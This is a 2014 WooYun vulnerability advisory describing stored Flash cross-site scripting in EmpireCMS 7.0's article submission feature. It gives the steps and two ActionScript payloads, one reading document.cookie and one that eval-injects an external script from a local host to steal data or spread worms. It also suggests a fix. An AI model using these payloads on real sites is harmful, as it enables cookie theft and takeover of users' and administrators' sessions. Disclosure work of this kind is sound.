当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073457

漏洞标题:EmpireCMS存储型跨站

相关厂商:EmpireCMS

漏洞作者: 路人甲

提交时间:2014-08-25 18:42

修复时间:2014-11-23 18:44

公开时间:2014-11-23 18:44

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

EmpireCMS通用存储型跨站,利用此漏洞可以攻击其它用户和系统管理员,盗取用户cookie或进行其它破坏操作。

详细说明:

1、涉及版本EmpireCMS 7.0
2、EmpireCMS开源系统对用户发表的文章和新闻内容过滤不严,导致存储型FLASH跨站,由于FLASH可以执行javascript脚本,利用此漏洞,攻击者可以加载本地脚本,盗取用户cookie以及其它信息,或者进行其它形式的攻击。

漏洞证明:

存在漏洞的模块为发表新闻和发表文章模块,以发表文章为例对漏洞进行证明。
1、登录系统,进入会员中心---》投稿---》管理文章---》增加信息,填写文章内容,在新闻正文中点击flash按钮导入flash。

2.png


将宽度和高度设置为0,增加了恶意代码的隐蔽性。xss.swf中包含的恶意代码为:getURL("javascript:alert(document.cookie)");
2、拦截请求,在<embed>标签中增加属性allowscriptaccess="always".

3.png


3、其它用户浏览文章信息,漏洞触发:

4.png


4、使用Firebug查看页面源代码:

5.png


flash标签成功插入,且允许执行脚本代码
5、后台管理员浏览文章时,漏洞同样触发:

7.png


6、修改xss.swf中的恶意代码为:
import flash.external.ExternalInterface;
ExternalInterface.call("eval","d=document;e=d.createElement('script');e.src='http://127.0.0.1/eXploit.js';d.body.appendChild(e);");//使用ExternalInterface.call()函数加载本地脚本文件,通过修改本地脚本文件内容我们可以进行盗取用户信息、钓鱼,编写蠕虫等操作。
漏洞触发时,成功加载本地脚本:

6.png


通过修改本地脚本代码,可以进行针对性的攻击

修复方案:

对<embed>标签的allowscriptaccess属性进行过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝